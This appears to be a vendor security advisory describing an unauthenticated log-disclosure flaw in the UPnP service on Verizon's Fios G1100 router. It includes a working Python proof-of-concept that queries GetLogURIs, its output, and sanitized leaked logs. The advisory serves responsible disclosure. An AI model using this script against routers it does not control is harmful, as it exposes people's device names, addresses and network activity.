While testing improvements to the Nessus UPnP implementation we found an information disclosure vulnerability in Verizon's Fios Quantum Gateway G1100. The G1100 has three listening UPnP servers. One the user can disable and two they cannot. This advisory concerns the UPnP server on port 1901 that the user cannot disable. This server first caught our attention due it's API list. You can see the list in this output from upnp_info.py
albinolobster@ubuntu:~$ python upnp_info.py
[+] Discovering UPnP locations
[+] Discovery complete
[+] 2 locations found:
-> http://192.168.1.1:1990/WFADevice.xml
-> http://192.168.1.1:1901/root.xml
[+] Loading http://192.168.1.1:1901/root.xml...
-> Server String: Linux/3.4 UPnP/2.0 bhr4/1.2
==== XML Attributes ===
-> Device Type: urn:schemas-upnp-org:device:ManageableDevice:2
-> Friendly Name: Verizon FiOS-G1100
-> Manufacturer: Verizon
-> Manufacturer URL: http://www.verizon.com
-> Model Description: Verizon Communications Inc.
-> Model Name: FiOS-G1100
-> Model Number: FiOS-Gen4
-> Services:
=> Service Type: urn:schemas-upnp-org:service:BasicManagement:2
=> Control: /bms
=> Events: /bmsEvent
=> API: http://192.168.1.1:1901/xml/basic_management_service.xml
- Reboot
- BaselineReset
- GetDeviceStatus
- SetSequenceMode
- GetSequenceMode
- Ping
- GetPingResult
- NSLookup
- GetNSLookupResult
- Traceroute
- GetTracerouteResult
- GetBandwidthTestInfo
- BandwidthTest
- GetBandwidthTestResult
- InterfaceReset
- GetInterfaceResetResult
- GetTestIDs
- GetActiveTestIDs
- GetTestInfo
- CancelTest
- GetLogURIs
- SetLogInfo
- GetLogInfo
- GetACLData
=> Service Type: urn:schemas-upnp-org:service:ConfigurationManagement:2
=> Control: /cms
=> Events: /cmsEvent
=> API: http://192.168.1.1:1901/xml/configuration_management_service.xml
- GetSupportedDataModels
- GetSupportedParameters
- GetInstances
- GetValues
- GetSelectedValues
- SetValues
- GetAttributes
- GetConfigurationUpdate
- GetCurrentConfigurationVersion
- GetSupportedDataModelsUpdate
- GetSupportedParametersUpdate
- GetAttributeValuesUpdate
- GetAlarmsEnabled
- SetAlarmsEnabled
- GetACLData
=> Service Type: urn:schemas-upnp-org:service:DeviceProtection:1
=> Control: /dps
=> Events: /dpsEvent
=> API: http://192.168.1.1:1901/xml/device_protection_service.xml
- GetAssignedRoles
- GetRolesForAction
- GetACLData
- AddIdentityList
- RemoveIdentity
Of particular interest was the method GetLogURIs advertised by basic_management_service.xml. We wrote get_log_uris.py to exercise the GetLogURIs API.
import xml.etree.ElementTree as ET
import requests
import sys
def create_payload():
payload = ('<?xml version="1.0"?>' +
'<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' +
'<SOAP-ENV:Body>' +
'<m:GetLogURIs xmlns:m="urn:schemas-upnp-org:service:BasicManagement:2">' +
'</m:GetLogURIs>' +
'</SOAP-ENV:Body>' +
'</SOAP-ENV:Envelope>')
return payload
if len(sys.argv) != 2:
print 'Usage: ./get_log_uris.py <url>'
sys.exit(0)
index = 0
payload = create_payload()
soapActionHeader = { 'soapaction' : 'urn:schemas-upnp-org:service:BasicManagement:2#GetLogURIs' }
resp = requests.post(sys.argv[1], data=payload, headers=soapActionHeader)
if resp.status_code != 200:
print 'Error status: %d' % resp.status_code
else:
print resp.text
Executing get_log_uris.py should look like the following.
albinolobster@ubuntu:~$ python get_log_uris.py http://192.168.1.1:1901/bms
<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:GetLogURIsResponse xmlns:u="urn:schemas-upnp-org:service:BasicManagement:2">
<LogURIs>logs/dhcp_client,logs/system,logs/dhcp_server,logs/security,logs/firewall,logs/intrusion_detection,logs/parental_control,logs/upnp,logs/sdhl_alert,logs/sdhl_operation,logs/tr69,logs/firmware_update,logs/lpr</LogURIs>
</u:GetLogURIsResponse>
</s:Body>
</s:Envelope>
The server responds to an unauthenticated request with a list of URIs. Assuming the router is using the address 192.168.1.1 the URIs map to the following locations:
- http://192.168.1.1:1901/logs/dhcp_client
- http://192.168.1.1:1901/logs/system
- http://192.168.1.1:1901/logs/dhcp_server
- http://192.168.1.1:1901/logs/security
- http://192.168.1.1:1901/logs/firewall
- http://192.168.1.1:1901/logs/intrusion_detection
- http://192.168.1.1:1901/logs/parental_control
- http://192.168.1.1:1901/logs/upnp
- http://192.168.1.1:1901/logs/sdhl_alert
- http://192.168.1.1:1901/logs/sdhl_operation
- http://192.168.1.1:1901/logs/tr69
- http://192.168.1.1:1901/logs/firmware_update
- http://192.168.1.1:1901/logs/lpr
At the time of discovery, all of the logs were retrievable by a remote unauthenticated user (both LAN and WAN). Some of the information leaked included DHCP information (device names, mac addresses, LAN IP addresses), wireless information (SSID, connected clients), and, due to the way the firewall works, a list of addresses that LAN devices may have been talking to. Here are some log samples. Please note that I did sanitize some data.
Nov 20 15:19:28 2017 local3.info158> dhcpd: DHCPREQUEST for 192.168.1.207 from ca:fe:c0:ff:ee:00(DESKTOP-TENABLE) via br-lan
Nov 20 15:19:28 2017 local3.info158> dhcpd: DHCPACK on 192.168.1.207 to ca:fe:c0:ff:ee:00 (DESKTOP-TENABLE) via br-lan
Nov 20 15:19:28 2017 local3.info158> dhcpd: 192.168.1.207 is leased for 86400 seconds, renew in 0 seconds, rebind in 0 seconds
Nov 20 2017 11:20:28 AM UTC,justlog.tr98.wifi24,ssid,TENABLE_SSID
Nov 20 2017 11:20:28 AM UTC,justlog.tr98.wifi24,channel,11
Nov 20 2017 11:20:28 AM UTC,justlog.tr98.wifi24,bssid,ca:fe:c0:ff:ee:00
Nov 20 2017 11:20:28 AM UTC,justlog.tr98.wifi24,x_d4a928_connectionmode,B_G_N
Nov 20 2017 11:20:28 AM UTC,justlog.tr98.wifi24,associateddevice,[{x_d4a928_cur-snr=17, associateddevicemacaddress=ca:fe:c0:ff:ee:01, x_d4a928_packetstransmitted=5792358, x_d4a928_packetsreceived=1236, x_d4a928_transceiversetting=NA x 3 : 2, x_d4a928_curtxmodulationrate=117 Mbps, x_d4a928_standard=N, currssi=-62, x_d4a928_currxmodulationrate=130 Mbps, x_d4a928_channel=11, x_d4a928_maxrxmodulationrate=144.4 Mbps, associateddeviceauthenticationstate=true}; {x_d4a928_cur-snr=20, associateddevicemacaddress=ca:fe:c0:ff:ee:02, x_d4a928_packetstransmitted=6474801, x_d4a928_packetsreceived=71558, x_d4a928_transceiversetting=NA x 3 : 2, x_d4a928_curtxmodulationrate=24 Mbps, x_d4a928_standard=N, currssi=-58, x_d4a928_currxmodulationrate=144.4 Mbps, x_d4a928_channel=11, x_d4a928_maxrxmodulationrate=144.4 Mbps, associateddeviceauthenticationstate=true}; {x_d4a928_cur-snr=0, associateddevicemacaddress=ca:fe:c0:ff:ee:03, x_d4a928_packetstransmitted=5869243, x_d4a928_packetsreceived=44419, x_d4a928_transceiversetting=NA x 3 : 1, x_d4a928_curtxmodulationrate=39 Mbps, x_d4a928_standard=N, currssi=-77, x_d4a928_currxmodulationrate=43.3 Mbps, x_d4a928_channel=11, x_d4a928_maxrxmodulationrate=72.2 Mbps, associateddeviceauthenticationstate=true}; {x_d4a928_cur-snr=7, associateddevicemacaddress=ca:fe:c0:ff:ee:04, x_d4a928_packetstransmitted=5792979, x_d4a928_packetsreceived=27111, x_d4a928_transceiversetting=NA x 3 : 1, x_d4a928_curtxmodulationrate=19.5 Mbps, x_d4a928_standard=N, currssi=-71, x_d4a928_currxmodulationrate=26 Mbps, x_d4a928_channel=11, x_d4a928_maxrxmodulationrate=72.2 Mbps, associateddeviceauthenticationstate=true}]
Nov 20 15:37:58 2017 local5.notice173> ulogd[655]: Blocked IN=eth1 OUT= MAC=ca:fe:c0:ff:ee:00 SRC=8.8.8.8 DST=9.9.9.9 LEN=83 TOS=00 PREC=0x00 TTL=59 ID=4109 DF PROTO=TCP SPT=443 DPT=64543 SEQ=22216784 ACK=3489197999 WINDOW=1175 ACK PSH URGP=0 MARK=0
Verizon fixed this information disclosure by disallowing access from the WAN. Router owners don't need to take any action to upgrade because the router automatically updates itself. Unfortunately, these logs are still accessible to anyone on the local network.